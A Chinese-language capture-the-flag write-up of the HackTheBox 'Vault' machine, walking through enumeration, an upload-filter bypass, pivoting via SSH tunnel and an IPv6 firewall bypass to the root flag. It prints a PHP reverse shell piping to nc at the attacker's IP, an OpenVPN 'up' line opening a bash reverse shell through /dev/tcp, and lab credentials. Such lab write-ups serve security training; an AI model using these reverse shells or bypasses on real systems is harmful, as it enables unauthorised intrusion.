出品|MS08067实验室(www.ms08067.com)

本文作者:大方子(Ms08067实验室核心成员)

Kali: 10.10.14.213

靶机地址:10.10.10.109

先用nmap探测靶机

nmap -sC -sT -sV 10.10.10.109

扫描结果如下:

看看80端口有什么东西

我们用gobuster进行探测下

gobuster -u http://10.10.10.109 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php -o gobuster-sparklays -t 100

扫了很久没有扫出什么东西

后来注意到这句话

We are proud to announce our first client: Sparklays (Sparklays.com still under construction)

尝试在Url后面加上/sparklay

~# gobuster -u http://10.10.10.109/sparklays -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php -t 100 -o gobuster-sparklays

我们打开login.php

打开下admin.php

尝试过绕过以及常见帐户密码

奇怪的是发现提交的帐户密码竟然是用GET方式,觉得很奇怪试着拦截登陆的数据包并放到sqlmap跑跑看,发现并没有注入点

sqlmap -r sparklays-admin-login.req --batch

我们在打开design

是Forbidden,那么这个目录下我们在gobuster下

gobuster -u http://10.10.10.109/sparklays/design -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php -t 100 -o gobuster-sparklays-design

打开upload.php

打开design.html看看

点【Change Logo】

我们写一个反弹的shell进行上传

<?php

system('r, /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.213 1337 >/tmp/f');

?>

被拒绝上传了

我们来FUZZ下运行上传的后缀名看看能不能通过后缀名进行绕过

这里我用到这个字典: https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/web-extensions.txt

这里我用burp的intruder模块进行fuzz

发现php5是上传成功的,我们把shell改成shell.php5再次上传

然后我们kali 开启监听1337端口

我们在访问

http://10.10.10.109/sparklays/design/uploads/shell.php5

然后就会得到一个shell

发现有2个用户

我在dave的Desktop目录下面看到一个ssh文件

Cat下得到一下内容

dave:Dav3therav3123

那么我们通过ssh连接到靶机上

我们在看看dave桌面上的其他文件

第一个key还不知道是什么意思就先留着。

第二个Servers应该是对应服务器的IP以及该服务器是什么

我们现在对DNS服务器进行扫描看看,但是靶机上面没有nmap 但是我们可以用nc当作端口扫描器

我们可以看到192.168.122.4开放了22和80端口。由于是内网的环境我们是无法访问到192.168.122.4的,所以我们需要做一个隧道把192.168.122.4的80端口映射到我们本地的1234端口

ssh -L 1234:192.168.122.4:80 dave@10.10.10.109

点击【Click here to modify your DNS Settings】

发现是Not Found

点击【Click here to test your VPN Configuration】

打开后是一个VPN配置信息,并允许我们测试我们的VPN

这里我找一遍关于如何用ovpn配置文件反弹shell的教程

https://medium.com/tenable-techblog/reverse-shell-from-an-openvpn-configuration-file-73fd8b1d38da

我们找下靶机的内网IP地址

让靶机监听9002端口

remote 192.168.122.1
nobind
dev tun script-security 2
up "/bin/bash -c '/bin/bash -i > /dev/tcp/192.168.122.1/9002 0<&1 2>&1&'"

先点【Update file】然后再点【Test VPN】

就会得到一个shell

得到userflag

接下来是获取root flag

我们在dave的目录里面找到一个ssh凭借

dave:dav3gerous567

我们直接通过ssh连接DNS服务器

我们尝试sudo -i切换为root,

但是目录里面没有我们想要的rootflag

之前我们注意到在dave的机器上有三台服务器,但是最后的The vault 是没有给出IP地址的,root flag可能就在那台机器上,所以我们需要去找线索

我们在DNS的hosts文件中找到了The vault的IP地址

但是DNS服务器是无法ping通的

但是DNS确实存在192.168.5.2的路由,猜测应该是禁止ping

后来发现DNS存在nmap 我们用nmap来进行端口探测

-Pn:表示默认主机在线,跳过主机发现

-v:显示详细信息

-n:不进行DNS解析

发现2个端口都被closed,可能是真的关闭,但是也有可能是防火墙的原因

我们尝试使用nmap 的 –source-port参数

每个TCP数据包带有源端口号。默认情况下Nmap会随机选择一个可用的传出源端口来探测目标。该–source-port选项将强制Nmap使用指定的端口作为源端口。这种技术是利用了防火墙盲目地接受基于特定端口号的传入流量的弱点。端口21(FTP),端口53(DNS)和67(DHCP)是这种扫描类型的常见端口。

发现一个987端口,我们用nc从本地的53端口进行连接

是openssh服务

对于这种防火墙我们可以尝试使用IPV6的规则绕过

先查看DNS服务器是否支持IPV6

FF02::1指所有开启了IPv6组播的主机,和IGMP中的224.0.0.1对应

说明DNS服务器支持IPV6

我们在查找下DNS服务器的的邻居

再看下DNS的路由和ip信息

我们可以看到192.168.5.0/24的流量都要通过ens3到192.168.122.5去

在192.168.155.5是防火墙的地址

我们在看DNS的邻居,发现还有3条IPV6,说明vault的IPV6应该在里面

我们在查看arp

192.168.122.5对应的ipv6是fe80::5054:ff:fe3a:3bd5

下面这2条ipv6的地址就是 valut和firewall的

fe80::5054:ff:fec6:7066

fe80::5054:ff:fee1:7441

我们直接用nmap进行端口扫描,如果防火墙没有配置ipv6的规则的话如是valut的地址就会出现之前的987端口

这样我们就确定了fe80::5054:ff:fec6:7066是vault的IPV6地址,并且防火墙规则并没有阻拦ipv6的地址,同时我们的DNS服务器可以直接通过ipv6绕过防火墙跟vault进行通讯

那么我们直接ssh进行连接

密码跟之前的一样:dav3gerous567

我们可以看到这个pgp的ID为D1EB1F03

我们看下vault系统是否存在密钥,不存在

但是我们在dave@ubuntu上找到了

所以我们需要把文件发送到dave@ubuntu进行解密

我们退回到dave@DNS上,利用scp将文件拷贝出来

scp -P 987 dave@[fe80::5054:ff:fec6:7066%ens3]:root* .

输入密码:dav3gerous567

然后我们需要在把这个文件传送到dave@ubuntu上面

我们在ubuntu上面执行

然后在DNS上把文件传输过来

这样文件就到了Ubuntu上面了

我们用md5sum来校验下文件的完整性

文件正常传输的

我们用gpg 解密下root.txt.gpg

要求我们输入密码

密码就是我们之前找到的key

得到root flag





转载请联系作者并注明出处!

Ms08067安全实验室专注于网络安全知识的普及和培训。团队已出版《Web安全攻防:渗透测试实战指南》,《内网安全攻防:渗透测试实战指南》,《Python安全攻防:渗透测试实战指南》,《Java代码安全审计(入门篇)》等书籍。

团队公众号定期分享关于CTF靶场、内网渗透、APT方面技术干货,从零开始、以实战落地为主,致力于做一个实用的干货分享型公众号。

官方网站:https://www.ms08067.com/

扫描下方二维码加入实验室VIP社区

加入后邀请加入内部VIP群,内部微信群永久有效!

【HTB系列】靶机Vault的渗透测试详解的更多相关文章

  1. 【HTB系列】靶机Frolic的渗透测试详解

    出品|MS08067实验室(www.ms08067.com) 本文作者:大方子(Ms08067实验室核心成员) Hack The Box是一个CTF挑战靶机平台,在线渗透测试平台.它能帮助你提升渗透测 ...

  2. 【HTB系列】靶机Access的渗透测试详解

    出品|MS08067实验室(www.ms08067.com) 本文作者:大方子(Ms08067实验室核心成员) Hack The Box是一个CTF挑战靶机平台,在线渗透测试平台.它能帮助你提升渗透测 ...

  3. 【HTB系列】靶机Chaos的渗透测试详解

    出品|MS08067实验室(www.ms08067.com) 本文作者:大方子(Ms08067实验室核心成员) 知识点: 通过域名或者IP可能会得到网站的不同响应 Wpscan的扫描wordpress ...

  4. 【HTB系列】靶机Teacher的渗透测试详解

    出品|MS08067实验室(www.ms08067.com) 本文作者:大方子(Ms08067实验室核心成员) Kali: 10.10.14.50 靶机地址:10.10.10.153 先用nmap 对 ...

  5. 【HTB系列】 靶机Swagshop的渗透测试详解

    出品|MS08067实验室(www.ms08067.com) 本文作者:是大方子(Ms08067实验室核心成员) 总结与反思 使用vi提权 magento漏洞的利用 magescan 工具的使用 靶机 ...

  6. SpringBoot系列(六)集成thymeleaf详解版

    SpringBoot系列(六)集成thymeleaf详解版 1. thymeleaf简介  1. Thymeleaf是适用于Web和独立环境的现代服务器端Java模板引擎.  2. Thymeleaf ...

  7. Spring框架系列(8) - Spring IOC实现原理详解之Bean实例化(生命周期,循环依赖等)

    上文,我们看了IOC设计要点和设计结构:以及Spring如何实现将资源配置(以xml配置为例)通过加载,解析,生成BeanDefination并注册到IoC容器中的:容器中存放的是Bean的定义即Be ...

  8. Spring框架系列(11) - Spring AOP实现原理详解之Cglib代理实现

    我们在前文中已经介绍了SpringAOP的切面实现和创建动态代理的过程,那么动态代理是如何工作的呢?本文主要介绍Cglib动态代理的案例和SpringAOP实现的原理.@pdai Spring框架系列 ...

  9. Spring框架系列(12) - Spring AOP实现原理详解之JDK代理实现

    上文我们学习了SpringAOP Cglib动态代理的实现,本文主要是SpringAOP JDK动态代理的案例和实现部分.@pdai Spring框架系列(12) - Spring AOP实现原理详解 ...

随机推荐

  1. JMM和volatile

    1.volatile 2.JMM 3.代码示例 package com.yanshu; class MyNmuber{ volatile int number=10; public void addT ...

  2. [HDU4734] 不要62(数位dp入门)

    >传送门< 题意:统计区间 [a,b] 中不含 4 和 62 的数字有多少个. 思路:数位dp 就是数位上不能有4也不能有连续的62,没有4的话在枚举的时候判断一下,不枚举4就可以保证状态 ...

  3. 「SCOI2005」互不侵犯 (状压DP)

    题目链接 在\(N\times N\) 的棋盘里面放 \(K\)个国王,使他们互不攻击,共有多少种摆放方案.国王能攻击到它上下左右,以及左上左下右上右下八个方向上附近的各一个格子,共\(8\) 个格子 ...

  4. Codeforces Round #628 (Div. 2) B. CopyCopyCopyCopyCopy(Set)

    题意: 给你一个数组,可以像题目那样无限拼接,问递增子序列的最大长度(可不连续). 思路: 序列的最大长度即为数组中不同元素的个数. Tips: 一开始不知道back-to-back什么意思,看到题目 ...

  5. hdu 6794 Tokitsukaze and Multiple 前缀和思想+思维

    题意: t组输入,给你一个长度为n的数组,你每次可以从数组中找到a[i]和a[i+1],然后用a[i]+a[i+1]这个新元素来覆盖掉a[i]和a[i+1]的位置(1<=i<n),从而数组 ...

  6. Eclipse无法打开提示could not open jvm.cfg错误

    先言:我的问题只是出在之前我的java_jdk原来安装在F:\Temp这里,但是我之后在整理文件的时候把这个文件夹改成了F:\java_jdk.所以导致了错误的出现 解决方法1: 因为我的只是目录名称 ...

  7. Strongly connected HDU - 4635 原图中在保证它不是强连通图最多添加几条边

    1 //题意: 2 //给你一个有向图,如果这个图是一个强连通图那就直接输出-1 3 //否则,你就要找出来你最多能添加多少条边,在保证添加边之后的图依然不是一个强连通图的前提下 4 //然后输出你最 ...

  8. Codeforces Round #668 (Div. 2) B. Array Cancellation (思维,贪心)

    题意:有一个长度为\(n\)并且所有元素和为\(0\)的序列,你可以使\(a_{i}-1\)并且\(a_{j}+1\),如果\(i<j\),那么这步操作就是免费的,否则需要花费一次操作,问最少操 ...

  9. java中string,stringBuffer和StringBuider

    最近学习到StringBuffer,心中有好些疑问,搜索了一些关于String,StringBuffer,StringBuilder的东西,现在整理一下. 关于这三个类在字符串处理中的位置不言而喻,那 ...

  10. Python源码剖析——02虚拟机

    <Python源码剖析>笔记 第七章:编译结果 1.大概过程 运行一个Python程序会经历以下几个步骤: 由解释器对源文件(.py)进行编译,得到字节码(.pyc文件) 然后由虚拟机按照 ...